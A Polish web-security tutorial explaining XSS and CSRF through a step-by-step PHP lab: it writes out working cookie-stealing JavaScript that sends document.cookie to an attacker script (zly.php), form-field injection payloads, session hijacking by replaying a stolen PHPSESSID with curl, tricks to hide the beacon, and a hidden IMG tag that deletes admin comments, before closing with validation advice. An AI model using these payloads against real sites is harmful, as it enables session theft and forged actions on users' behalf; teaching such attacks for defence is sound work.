Autor:
Włodzimierz Gajda
Artykuł pochodzi ze strony www.gajdaw.pl
Jeśli aplikacja internetowa, w jakimkolwiek miejscu, wysyła do klienta niesprawdzony kod HTML pobrany z zewnątrz, to jest ona podatna na ataki typu XSS oraz CSRF. Przykładowe włamania omówione w artykule należy traktowa jako ważny argument wymuszający walidacje wszystkiego, co aplikacja pobiera z zewnątrz i wysyła do przeglądarki użytkownika.
Ataki XSS
Ataki typu XSS (ang. Cross Site Scripting) opieraja sie na nieswiadomym przekazywaniu zlosliwego kodu przez witryny internetowe. Osoba atakujaca przekazuje zlosliwy kod do aplikacji internetowej. Kod ten zostaje umieszczony na stronie internetowej i jest on w pózniejszym terminie wyslany do uzytkownika. Wykorzystane jest zaufanie, jakim uzytkownik obdarza konkretna witryne, zas sama witryna staje sie nieswiadomym wspólsprawca.
Atak taki sklada sie z trzech etapów:
przekazanie do aplikacji zlosliwego kodu przez napastnika;
nieswiadome pobranie od aplikacji zlosliwego kodu przez ofiare; kod zostaje wykonany;
dodatkowe akcje wykonywane przez atakujacego.
Najpierw napastnik laczy sie z aplikacja internetowa, po czym przesyla do niej zlosliwy kod:
<SCRIPT type="text/javascript">
alert('Zlosliwy kod!' );
</SCRIPT>
Kod ten moze stanowic tresc listu przekazywanego na forum dyskusyjnym czy adres email podany w polu nadawcy listu. Po odebraniu przez aplikacje internetowa, zlosliwy kod zostaje zapisany w bazie danych.
W drugim etapie, uzytkownik bedacy ofiara nieswiadomie wykonuje kod przekazany przez osobe atakujaca. Uzytkownik po zalogowaniu wchodzi na strone zawierajaca zlosliwy list, po czym wyswietla jego zawartosc. W wyniku wyswietlenia listu przegladarka wykonuje zlosliwy kod JavaScript, który przekazuje pewne poufne dane osobie atakujacej.
W ostatnim etapie, napastnik odbiera poufne dane przekazane do niego przez zlosliwy skrypt.
Luki wykorzystywane przez ataki XSS
W opisanym schemacie wykorzystane sa trzy potencjalnie luki w bezpieczenstwie aplikacji internetowej:
aplikacja wpuszcza zlosliwy kod;
aplikacja wypuszcza zlosliwy kod;
przegladarka klienta wykonuje zlosliwy kod;
Pierwsza z luk polega na tym, ze aplikacja nie weryfikuje danych pochodzacych od osoby atakujacej. Ataki XSS sa kolejnym istotnym glosem w dyskusji na temat walidacji danych pochodzacych z zewnatrz aplikacji. Dane nalezy koniecznie weryfikowac! Do aplikacji wpuszczamy jedynie dane, co do których jestesmy pewni, ze nie spowoduja zadnych problemów. Ani w aplikacji internetowej, ani w przegladarce uzytkownika po umieszczeniu na stronie WWW.
Druga z luk jest nieco bardziej problematyczna. Aplikacja pobierajac dane z bazy danych powinna, przynajmniej w pewnych sytuacjach, poddac dane ponownej walidacji. Zasadnosc tego testu moze podwazac fakt, ze rekordy bazy danych przed umieszczeniem w bazie poddalismy gruntownemu sprawdzeniu. Jesli zrezygnujemy z takiego testu, wówczas kazda luka w bazie danych moze zostac wykorzystana do zrealizowania ataku.
Ostatnia luka jest znacznie trudniejsza do wyeliminowania. Eliminacja wykonywania kodu JavaScript przez przegladarke wymaga calkowitego wylaczenia interpretacji JavaScript. Taka operacja nie moze byc wykonana przez aplikacje internetowa, a jedynie przez administratora konkretnego komputera.
Ataki CSRF
Ataki typu CSRF (ang. Cross Site Request Forgeries) wykorzystuja mechanizm dzialania protokolu HTTP. Przegladarka stron WWW po odebraniu zasobu, konkretnie kodu HTML witryny WWW, analizuje zawartosc strony i pobiera kolejno wszystkie zasoby, jakie sa konieczne do poprawnego wyswietlenia strony (np. pliki stylów, pliki ze skryptami JavaScript oraz obrazy). Na przyklad obraz:
<IMG src="ikona.png" alt="Ikona listy wypunktowanej">
Bylby pobrany osobnym zapytaniem
GET ikona.png HTTP/1.1
Problem polega na tym, ze zapytanie GET moze odwolywac sie do skryptu i przekazywac mu dodatkowe dane:
GET skrypt.php?imie=Jan&wiek=43 HTTP/1.1
Umieszczenie na stronie obrazu:
<IMG src="skrypt.php?imie=Jan&wiek=43" alt="Ikona...">
spowoduje wywolanie skryptu skrypt.php i przekazanie do niego zmiennych imie oraz wiek.
A zatem samo wyswietlenie strony WWW z osadzonymi obrazami moze powodowac nieswiadome wykonywanie róznych skryptów.
Ataki typu CSRF wykorzystuja podobne luki jak ataki XSS. Atakujacy najpierw dostarcza zlosliwy kod HTML. Nastepnie kod ten zostaje wyslany do przegladarki klienta. Zatem dwa pierwsze kroki w zapewnieniu odpornosci aplikacji na ataki tego typu sa identyczne: walidacja zmiennych pochodzacych z zewnatrz oraz zabezpieczenie kodu HTML wysylanego do klienta.
Róznica wystepuje po stronie klienta. Poprzednio wykorzystywany byl kod JavaScript, zas tym razem — mechanizm dzialania protokolu HTTP. Oczywiscie nie mamy zadnej mozliwosci zabezpieczenia sie przed dzialaniem przegladarki, które jest zgodne z protokolem HTTP. Oznaczaloby to zburzenie podstawy dzialania sieci WWW.
Naiwny przyklad ataku XSS
Przyjrzyjmy sie teraz atakowi XSS od podszewki. Przeanalizujmy dokladnie kod wykonywany przez napastnika, oraz kod przekazywany za posrednictwem witryny WWW przez napastnika do ofiary.
Krok 1: ciasteczka
Ciasteczka stanowia mechanizm do przekazywania danych od serwera WWW do przegladarki klienta. Mechanizm ten jest niewidoczny dla uzytkownika: zadne dane nie sa wyswietlane w oknie przegladarki (ewentualnie, zalezy to od ustawien zabezpieczen, uzytkownik jest informowany o ciasteczkach okienkami dialogowymi).
PHP wykorzystuje mechanizm ciasteczek do przekazywania identyfikatora sesji.
Ciasteczko mozemy wyslac stosujac funkcje setcookie():
setcookie('imie', 'Jan', time() + 3600);
Powyzsza instrukcja powoduje wyslanie ciasteczka imie=Jan o czasie trwania wynoszacym 3600 sekund (czyli godzine).
Pierwszy z przykladów, zapisany w pliku 1-strona-z-ciasteczkami.zip, zawiera formularz umozliwiajacy dodawanie ciasteczek. Po kilkukrotnym wypelnieniu formularza, w tablicy $_COOKIE pojawia sie wpisy:
$_COOKIE = array (
'jan' => 'jan',
'kos' => 'kos',
'rudy' => 'rudy',
'marusia' => 'marusia',
)
Ciasteczka odbierane przez przegladarke mozemy sledzic wtyczka Internet Explorera o nazwie ieHTTPHeaders.
Krok 2: kradziez ciasteczek
Strona z ciasteczkami jest gotowa. Przejdzmy teraz do drugiego kroku, kradziezy ciasteczek. Kod kradnacy ciasteczka jest zapisany w przykladzie 2-kradziez-ciasteczek.zip.
Formularz, przedstawiony w poprzednim przykladzie, wykorzystujemy do przeslania ciasteczek. Ciasteczka sa dostepne w przegladarce klienta w kodzie JavaScript. Obiekt document reprezentujacy caly kod witryny zawiera pole cookie, przechowujace wszystkie ciasteczka. Aby sie o tym przekonac, wystarczy w kodzie witryny umiescic skrypt:
<SCRIPT type="text/javascript">
alert(document.cookie);
</SCRIPT>
Powyzszy skrypt wprawdzie ma dostep do ciasteczek, ale nie kradnie ich, a jedynie wyswietla na ekranie uzytkownika. Do kradziezy ciasteczek wykorzystamy dodatkowe zapytanie HTTP generowane przez element IMG:
<IMG src="zly.php?ciasteczka=imie=Jan;wiek=15">
Taki „obrazek” powoduje przekazanie zmiennej ciasteczka metoda GET protokolu HTTP do skryptu zly.php.
Podsumowujac powyzsze rozwazania, nalezy przygotowac skrypt JavaScript o kodzie:
<SCRIPT type="text/javascript">
var adr = 'zly.php?ciasteczka=' + escape(document.cookie);
var obr = '<IMG src="' + adr + '">';
document.write(obr);
</SCRIPT>
oraz skrypt zly.php, który zajmie sie zapisaniem otrzymanej zmiennej do pliku ciasteczka.txt.
Powyzszy kod JavaScript umieszcza w kodzie strony (wywolanie metody document.write()) elementu IMG, którego atrybut src zawiera ciasteczka (pole document.cookie). Uzyta funkcja escape() koduje wszystkie znaki, jaki nie powinny pojawic sie w adresie URL (np. spacja jest zastepowana kodem %20).
Kazdorazowe wejscie na strone skrypt.php powoduje kradziez ciasteczek i zapisanie ich do pliku ciasteczka.txt.
Skrypt zly.php po zapisaniu ciasteczek do pliku wysyla do klienta obraz „Sloneczniki”. Jesli nie wyslemy do klienta obrazu, wówczas przegladarka wyswietli ikone informujaca o tym, ze obraz nie zostal znaleziony lub pobrany. W ten sposób osoba kradnaca ciasteczka zdradza swoje dzialanie. W celu zamaskowania, mozemy do klienta wyslac zamiast sloneczników jednopikselowy, przezroczysty obraz w formacie .gif:
if (isset($_GET['ciasteczka'])) {
writeDataFile();
};
$obraz = file_get_contents('1px-przezroczysty.gif' );
header("Content-type: image/gif" );
Wówczas dzialanie napastnika zostaje zamaskowane: przegladarka wysyla do skryptu zly.php ciasteczka, zas w odpowiedzi dostaje jednopikselowy przezroczysty obrazek w formacie .gif. Obraz zostaje wyswietlony na ekranie nie powodujac zadnych widocznych efektów wizualnych (co najwyzej niewielka zmiane ukladu strony).
Innym sposobem zamaskowania dzialania napastnika jest dodanie do obrazu atrybutu style, który przesuwa obraz poza okno przegladarki lub wylacza jego widocznosc. W podanym skrypcie JavaScript dodajemy atrybut style ustalajacy duzy margines:
var obr = '<IMG style="margin-left: 600px;" src="' + adr + '">';
Krok 3: zastrzyk JavaScript
Kradziez ciasteczek wymagala wykonania kodu JavaScript przez przegladarke uzytkownika. W poprzednim przykladzie kod JavaScript byl na stale wpisany do kodu strony WWW. Nie jest to jedyne rozwiazanie. Kod JavaScript mozemy przeslac do przegladarki uzytkownika stosujac technike nazywana zastrzykiem (ang. injection).
Przykladowe kody demonstrujace wykonanie zastrzyku znajdziemy w archiwum 3-zastrzyk-js.zip.
W najprostszym przypadku, zastrzyk JavaScript jest przekazywany formularzem HTML, który inicjalizuje wartosci swoich pól danymi odebranymi od uzytkownika bez sprawdzania ich poprawnosci.
Jesli w formularzu znajduje sie pole:
<INPUT name="fpole"
<?php
if (isset($_POST['fpole'])) {
echo ' value="' . $_POST['fpole'] . '"';
}
?>
>
wówczas po wprowadzeniu don wartosci KOT otrzymamy nastepujacy kod HTML (z dokladnoscia do bialych znaków):
<INPUT name="fpole" value="KOT">
Co sie jednak stanie, gdy zlosliwy uzytkownik wprowadzi w polu formularza tekst:
123" onfocus="alert('?????' ); return true;
Wtedy, w przegladarce, pojawi sie kod HTML:
<INPUT name="fpole" value="123" onfocus="alert('?????' ); return true;">
Klikniecie w pole tekstowe spowoduje wykonanie kodu JavaScript i wyswietlenie okienka dialogowego funkcja alert().
Jesli natomiast w polu wprowadzimy kod:
www">
<SCRIPT type="text/javascript">
var tekst = '<BR><H3>XXXXXX</H3><BR>';
document.write(tekst);
</SCRIPT>
<BR class="ala
to otrzymamy w istocie nastepujacy kod HTML:
<INPUT name="fpole" value="www">
<SCRIPT type="text/javascript">
var tekst = '<BR><H3>XXXXXX</H3><BR>';
document.write(tekst);
</SCRIPT>
<BR class="ala">
Kod ten powoduje wykonanie skryptu, który umieszcza w dokumencie dodatkowy kod HTML.
Stosujac opisana technike zastrzyku, mozemy spowodowac wyswietlenie w przegladarce klienta (a zatem takze i wykonanie) dowolnego kodu JavaScript, w tym takze kodu kradnacego ciasteczka.
Krok 4: Generowanie zapytan HTTP (biblioteka curl)
Kolejnym zadaniem, jakie musimy wykonac jako wlamywacze jest generowanie zapytan HTTP zawierajacych spreparowane dane przekazywane metodami GET, POST oraz jako ciasteczka. Do tego celu wykorzystamy biblioteke CURL. Przyklady omówione w tym kroku sa zawarte w archiwum 4-curl.zip.
Stosujac biblioteke CURL nalezy zainicjalizowac zmienna $transakcja wywolaniem funkcji curl_init(), ustalic adres URL zasobu, którego dotyczy zapytanie, po czym wykonac transakcje wywolujac funkcje curl_exec():
$adr = "ala.html";
$transakcja = curl_init();
curl_setopt($transakcja, CURLOPT_URL, $adr);
$wynik = curl_exec($transakcja);
curl_close($transakcja);
Jesli do zapytania chcemy dolaczyc zmienne metody GET, modyfikujemy odpowiednio adres URL:
$adr = 'debug.php' . '?imie=Jan&nazwisko=Nowak';
Natomiast zmienne metody POST oraz ciasteczka ustalamy wykorzystujac funkcje curl_setopt():
curl_setopt($transakcja, CURLOPT_POSTFIELDS, "fa=5&fb=13&wiek=4" );
curl_setopt($transakcja, CURLOPT_COOKIE, "ala=ma;liczba=100;wiek=44" );
Drugi z przykladów zawartych w archiwum 4-curl.zip powoduje zapisanie do pliku debug.txt danych odebranych w zapytaniu HTTP. Podane przyklady spowoduja zapisanie do pliku debug.txt nastepujacych danych:
GET = array (
'imie' => 'Jan',
'nazwisko' => 'Nowak',
)
POST = array (
'fa' => '5',
'fb' => '13',
'wiek' => '4',
)
COOKIE = array (
'ala' => 'ma',
'liczba' => '100',
'wiek' => '44',
)
Upewnia nas to, co do poprawnosci podrobionego zapytania. Zapytanie przekazane do skryptu debug.php faktycznie zawieralo spreparowane przez nas dane.
Krok 5: Logowanie
Omówione cztery kroki koncza liste procedur, jakie musi wykonac napastnik. Przejdzmy teraz do przygotowania zabezpieczonej witryny, która napastnik zaatakuje. Kod witryny jest zapisany w pliku 5-logowanie-sesja.zip.
Witryna jest zabezpieczona formularzem do logowania, którego wyglada jest przedstawiony na rysunku 1.
Rys. 1. Witryna przed zalogowaniem.
Po zalogowaniu (poprawnymi danymi sa: nazwa uzytkownika 'jan' oraz haslo 'kos'), dostepna staje sie opcja Wyloguj, zas na stronie pojawia sie zawartosc przeznaczona tylko dla zalogowanego uzytkownika. Jest nia formularz do wykonywania obliczen przedstawiony na rysunku 2.
Rys. 2. Witryna po zalogowaniu.
Uzytkownik moze korzystac z formularza wprowadzajac dane. Po wpisaniu liczb 7 oraz 154 w przegladarce pojawi sie wynik dodawania wynoszacy 161.
Rys. 3. Witryna po zalogowaniu i wykonaniu obliczen.
Logowanie do serwisu jest zrealizowane przy uzyciu mechanizmu sesji. Na listingu 1 widzimy szkielet kodu, który w calosci jest zapisany w pliku logowanie.php. Po uruchomieniu sesji inicjalizujemy wartosc zmiennej $_SESSION['zalogowany'] wartoscia false. Nastepnie sprawdzamy, czy nie jest wykonywana operacja wylogowania i jesli tak, to niszczymy biezaca sesje i ustalamy wartosc zmiennej $_SESSION['zalogowany'] na false. Kolejnym etapem jest sprawdzenie, czy nie nastapila próba zalogowania. Badamy zmienne $_POST['login'] oraz $_POST['password']. Jesli podane wartosci sa poprawne, to zmieniamy wartosc flagi $_SESSION['zalogowany'] na true.
Tresc serwisu zalezy od wartosci $_SESSION['zalogowany'] przechowywanej w tablicy sesji. Jesli uzytkownik jest zalogowany, to wyswietlamy tajna zawartosc (czyli formularz dodajacy liczby). Sluzy do tego funkcja jestesZalogowany(). W przeciwnym razie, gdy uzytkownik nie jest zalogowany, tresc widoczna na stronie jest generowana funkcja nieJestesZalogowany().
session_start();
if (!isset($_SESSION['zalogowany'])) {
$_SESSION['zalogowany'] = false;
}
if (isset($_GET['operacja'])) {
if ($_GET['operacja'] == 'wyloguj') {
$_SESSION['zalogowany'] = false;
session_destroy();
}
}
if ($_SESSION['zalogowany'] === false
&& isset($_POST['login'])
&& isset($_POST['password'])) {
if ($_POST['login'] == 'jan'
&& $_POST['password'] == 'kos') {
$_SESSION['zalogowany'] = true;
} else {
echo '<p>Zle haslo!!!</p>';
$_SESSION['zalogowany'] = false;
}
}
if ($_SESSION['zalogowany']) {
jestesZalogowany();
} else {
nieJestesZalogowany();
}
Listing 1. Schemat logowania.
Krok 6: Wlamanie
Pomijajac fakt, ze haslo do witryny zostalo zapisane w kodzie PHP (wystarczy podejrzec zródlo skryptu PHP, by poznac haslo!), bezpieczenstwo podanego rozwiazania polega calkowicie na bezpieczenstwie sesji. Sesje w PHP sa rozpoznawane na podstawie identyfikatora sesji. Identyfikator ten jest przekazywany w zapytaniach HTTP w postaci ciasteczka lub zmiennej typu GET o nazwie PHPSESID. Dalsza dyskusje skupimy na przypadku zastosowania ciasteczek do przekazywania identyfikatora sesji.
Jesli w zapytaniu HTTP umiescimy poprawny identyfikator sesji (czyli identyfikator trwajacej wlasnie sesji zalogowanego uzytkownika), to PHP potraktuje nasze zapytanie jako jedno z zapytan zalogowanego uzytkownika, udostepniajac mu tajna zawartosc. Wlamanie polega na przechwyceniu identyfikatora sesji i podrobieniu zapytania HTTP.
Identyfikator sesji jest zawarty w ciasteczkach strony. Musimy zatem poznac ciasteczka dotyczace biezacej sesji zalogowanego uzytkownika. Do kradziezy ciasteczek uzyjemy zastrzyku JavaScript omówionego w kroku 3.
Przeslany zastrzyk JavaScript spowoduje wykonanie przez przegladarke zalogowanego uzytkownika kodu, który przekazuje ciasteczka do skryptu napastnika. Zastrzyk taki wyglada nastepujaco:
123" />
<SCRIPT type="text/javascript">
var adr = './../6-wlam/zly.php?ciasteczka=' + escape(document.cookie);
var obr = '<IMG src="' + adr + '">';
document.write(obr);
</SCRIPT>
<BR class="aaaa
Zastrzyk ten jest przeslany do strony wyswietlajacej formularz i sluzy do inicjalizacji pola tekstowego. Powyzszy kod nalezy skopiowac i wkleic do jednego z pól A lub B formularza widocznego na rysunku 2. Po ponownym wyswietleniu strony, przegladarka klienta wykona zawarty w nim kod JavaScript. W wyniku wykonania wstrzyknietego kodu JavaScript, w pliku ciasteczka.txt napastnika pojawi sie wpis podobny do ponizszego:
PHPSESSID=25cbd29b80773ef64daff18a502c6d6a
Jest to ciasteczko, jakie identyfikuje biezaca sesje zalogowanego uzytkownika.
Zwrócmy uwage na glówna naiwnosc podanego ataku: to zalogowany uzytkownik sam musi dokonac zastrzyku wklejajac w polu edycyjnym formularza zamiast liczby podany kod JavaScript. Oczywiscie zaden z uzytkowników nie wykona takiej operacji swiadomie. W drugim przykladzie, bardziej zblizonym do rzeczywistych realiów, zobaczymy jak uczynic administratora nieswiadomym pomocnikiem. Na razie dokonczmy procedure „naiwnego” wlamania.
W tym momencie napastnik dysponuje ciasteczkiem identyfikujacym sesje. Wystarczy wykorzystac biblioteke CURL i wyslac spreparowane zapytanie HTTP, które zostanie potraktowane przez maszyne PHP jako jedno z zapytan zalogowanego uzytkownika:
$adr = 'logowanie.php';
$transakcja = curl_init();
curl_setopt($transakcja, CURLOPT_URL, $adr);
curl_setopt($transakcja, CURLOPT_COOKIE, "PHPSESSID=25cbd29b80773ef64daff18a502c6d6a" );
$wynik = curl_exec($transakcja);
curl_close($transakcja);
echo $wynik;
Jesli dodatkowo dokonamy zamiany atrybutu action formularza do wykonywania obliczen:
$wynik = str_replace(
'action="logowanie.php"',
'action="' . basename($_SERVER['PHP_SELF']) . '"',
$wynik);
echo $wynik;
to otrzymamy witryne, na której mozemy wykonywac obliczenia tak, jakbysmy byli zalogowani do witryny oryginalnej!
Podsumowujac, procedura wlamania do witryny przedstawionej w kroku 5 jest nastepujaca:
Przygotowujemy skrypt kradnacy ciasteczka. Skrypt ten nazywa sie zly.php i zapisuje ciasteczka w pliku ciasteczka.txt. Oba pliki zly.php oraz ciasteczka.txt sa umieszczone na serwerze napastnika.
Przygotowujemy skrypt JavaScript, który po wstrzyknieciu do jednego z pól formularza do obliczen (Rys. 2) spowoduje kradziez ciasteczek i zapisanie do pliku cisteczka.txt z punku pierwszego.
Prawdziwy uzytkownik loguje sie do serwisu podajac poprawne dane: nazwe konta i haslo. Nastepnie uzytkownik wstrzykuje kod JavaScript przygotowany w kroku drugim do jednego z pól formularza z rysunku 2.
Wstrzykniecie kodu w poprzednim kroku powoduje zapisanie ciasteczka identyfikujacego sesje uzytkownika. Ciasteczko jest zapisane w pliku ciasteczka.txt napastnika.
Napastnik wykorzystujac ciasteczko identyfikujace sesje preparuje zapytanie HTTP, wykorzystujac do tego celu biblioteke CURL. Tak przygotowane zapytanie jest interpretowane jako zapytanie zalogowanego uzytkownika i daje napastnikowi dostep do chronionych zasobów.
Witryna „Komentarze”
Naiwnosc wlamania opisanego w poprzednim punkcie polega na jawnej kooperacji ze strony zalogowanego uzytkownika. Uzytkownik sam musial wkleic do formularza kod, który powodowal kradziez jego ciasteczek. Eliminacja takiej wspólpracy nie stanowi bynajmniej duzej trudnosci.
Rozwazmy forum dyskusyjne, które umozliwia wysylanie komentarzy. Forum sklada sie z dwóch niezaleznych witryn. Pierwsza z nich, panel administracyjny, wymaga zalogowania. Po zalogowaniu formularzem przedstawionym na rysunku 4, administrator ma do dyspozycji wszystkie komentarze zawarte w bazie danych.
Rys. 4. Witryna „Komentarze”. Panel administracyjny z formularzem do logowania.
Komentarze te, przedstawione na rysunku 5, administrator moze usuwac wykorzystujac hiperlacze Usun widoczne w czwartej kolumnie tabeli z rysunku 5.
Rys. 5. Witryna „Komentarze”. Panel administracyjny po zalogowaniu: administrator moze usuwac wpisy.
Uzytkownik uzyskuje dostep do strony nie wymagajacej logowania. Na stronie tej znajduje sie formularz umozliwiajacy dodawanie komentarzy do archiwum oraz tabela przedstawiajaca wszystkie biezace wpisy. Wyglad strony uzytkownika jest przedstawiony na rysunku 6.
Rys. 6. Witryna „Komentarze”. Uzytkownik nie musi sie logowac. Formularz umozliwia dodawanie wpisów.
Cale rozwiazanie jest zawarte w archiwum 7-forum.zip. W podfolderze skrypt/ mamy zapisany skrypt administracyjny admin.php oraz strone uzytkownika user.php. Uruchomienie przykladu rozpoczynamy od utworzenia bazy danych skryptem tworzenie_bazy.php.
Do logowania administratora w panelu administracyjnym admin.php zastosowano rozwiazanie identyczne jak poprzednio, stosujace mechanizm sesji. Wlamanie do tak przygotowanego skryptu nie wymaga zadnej kooperacji ze strony administratora. Zakladamy jedynie brak walidacji komentarzy przekazywanych formularzem do bazy danych.
Atak XSS na witryne „Komentarze”
Atak na tak przygotowana aplikacje przebiega wedlug nastepujacego schematu:
Przygotowujemy kod JavaScript bedacy zastrzykiem. Kod ten po wyswietleniu przez administratora powoduje kradziez jego ciasteczek, w tym identyfikatora sesji. Kod powinien byc tak przygotowany, by nie powodowal zadnych widocznych zmian w wygladzie witryny administratora podczas przegladania postów.
Zlosliwy kod wysylamy do bazy danych umieszczajac go wewnatrz komentarza. Nastepnie czekamy, az administrator po zalogowaniu wyswietli na ekranie liste komentarzy wykonujac w ten sposób dolaczony zlosliwy kod.
Odczytujemy z pliku ciasteczko identyfikujace sesje administratora. Wysylajac sfalszowane zapytania HTTP uzyskujemy administracyjny dostep do witryny.
Jak widac krok wymagajacy kooperacji ze strony administratora witryny zastapilismy jego nieswiadomym dzialaniem. Jesli komentarz zawarty w bazie danych zawiera kod JavaScript, a administrator wyswietli jego tresc, wówczas kod JavaScript zostanie automatycznie wykonany przez przegladarke bez wiedzy i wspólpracy ze strony administratora.
Zlosliwy kod wysylany do bazy danych wyglada niemal identycznie jak poprzednio:
Czesc...
<SCRIPT type="text/javascript">
var adr = '../zly/zly.php?ciasteczka=' + escape(document.cookie);
var obr = '<IMG src="' + adr + '">';
document.write(obr);
</SCRIPT>
...fajna strona!!
Atak CSRF na witryne „Komentarze”
Atak CSRF wykorzystuje cechy protokolu HTTP, bez koniecznosci uciekania sie do skryptów JavaScript. W przedstawionej witrynie usuwanie postów jest realizowane przez skrypt admin.php. Jest to skrypt administracyjny zabezpieczony formularzem do logowania. Po zalogowaniu administrator ma do dyspozycji tabele przedstawiona na rysunku 5. Tabela ta zawiera hiperlacza postaci:
<A href="admin.php?delete=1">usun</A>
Oczywiscie aktywacja takiego hiperlacza w przegladarce nie da oczekiwanych rezultatów. Jesli napastnik wpisze w polu Adres przegladarki adres:
http://serwer/sciezka/do/skryptu/admin.php?delete=3
to nie osiagnie swojego celu. Jego zapytanie nie zostanie wykonane, gdyz nie zawiera ono poprawnego identyfikatora sesji administratora. Rozwiazaniem powyzszej trudnosci jest umieszczenie podanego adresu jako atrybutu src obrazu wysylanego do bazy danych:
<IMG src="admin.php?delete=13">
Jesli administrator po zalogowaniu wyswietli w przegladarce wiadomosc zawierajaca powyzszy element IMG, to spowoduje to wyslanie zapytania w ramach biezacej sesji (tj. sesji administratora). W rezultacie z bazy danych zniknie komentarz o identyfikatorze 13.
Jest to dosc sprytny sposób wymuszenia wykonania operacji przez przegladarke administratora bez jego wiedzy. Zwrócmy uwage, ze w tym przypadku nie ma znaczenia to, jak mocno zabezpieczymy identyfikator sesji. Zapytanie jest wykonywane przez zalogowanego administratora. Nie podszywamy sie pod administratora, a jedynie wymuszamy pewne dzialania na jego przegladarce.
W celu ukrycia informacji o tym, ze pobierany obraz nie zostal znaleziony (skrypt admin.php do odebraniu danych delete=13 nie generuje zadnego obrazka) stosujemy style wylaczajace widocznosc pobieranego obrazu:
<IMG style="display: none;" src="admin.php?delete=13">
Zabezpieczenia przed atakami XSS oraz CSRF
W obydwu przedstawionych typach ataków lekarstwo jest stosunkowo proste. Nalezy dokladnie wyczyscic zarówno dane wpuszczane do bazy danych jak i wypuszczane z bazy danych do przegladarki klienta.
Recepta ta powinna pomóc w wiekszosci przypadków. Szczególna uwage nalezy oczywiscie zwrócic na kod HTML oraz JavaScript zawarty w danych.
Glównym zabezpieczeniem przed atakami XSS oraz CSRF jest walidacja zmiennych wpuszczanych do oraz wysylanych z aplikacji.
W wielu przypadkach dane wchodzace i wychodzace z aplikacji nie powinny zawierac zadnego kodu HTML czy JavaScript. Jakiekolwiek znaczniki zawarte w imieniu osoby wysylajacej komentarz czy w dacie wpisu powinny natychmiast wzbudzic podejrzenia. Sytuacja nie jest równie prosta w odniesieniu do samych komentarzy. Byc moze pewne znaczniki powinny byc dozwolone. Przykladami moga byc elementy P, BR, EM czy STRONG. W takim przypadku powinnismy sprawdzic, czy kod zawiera tylko dozwolone znaczniki oraz czy znaczniki te nie posiadaja kodu JavaScript przypisanego do zdarzen.
Informacje w Internecie
Z racji na wage problemu, atakom XSS jest poswieconych wiele artykulów dostepnych w Internecie:
Na stronie Chrisa Shiftletta http://shiflett.org znajdziemy — oprócz dokladnego omówienia ataków XSS oraz CSRF — takze podrecznik bezpiecznego programowania w php.
Pod adresem http://httpd.apache.org/info/css-security/ znajdziemy informacje dotyczace bezpieczenstwa XSS serwera Apache.
Organizacja CERT opublikowala dwa obszerne artykuly na temat przekazywania zloslishowsourcewego kodu: http://www.cert.org/tech_tips/malicious_code_mitigation.html oraz http://www.cert.org/advisories/CA-2000-02.html.
Warto równiez zajrzec na strony:
http://www.cgisecurity.com/articles/xss-faq.shtml
http://webmonkey.wired.com/webmonkey/00/18/index3a.html
http://ha.ckers.org/xss.html
http://de.wikipedia.org/wiki/XSS
http://www.sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html
http://www.technicalinfo.net/papers/CSS.html
http://blog.bitflux.ch/wiki/XSS_Prevention
Artykul
pochodzi ze strony www.gajdaw.pl
Podsumowanie
Przedstawione dwa rodzaje ataków jak i skrypty sluzace do ich wykonania nalezy traktowac jako powazny argument dowodzacy koniecznosci walidacji zmiennych w aplikacjach internetowych. Kazde pole tekstowe, ba nawet kazdy przycisk typu radio inicjalizowany wartosciami pochodzacymi z zewnatrz i nie poddanymi procedurze czyszczenia stanowi potencjalna dziure umozliwiajaca ataki XSS oraz CSRF.
lp. |
Tytul |
Pobierz |
1. |
Strona z ciasteczkami |
|
2. |
Kradziez ciasteczek |
|
3. |
Zastrzyk JavaScript |
|
4. |
Generowanie zapytan (biblioteka CURL) |
|
5. |
Logowanie |
|
6. |
Naiwne wlamanie |
|
7. |
Witryna „Komentarze” |
|
8. |
Wtyczka ieHTTPHeaders |
v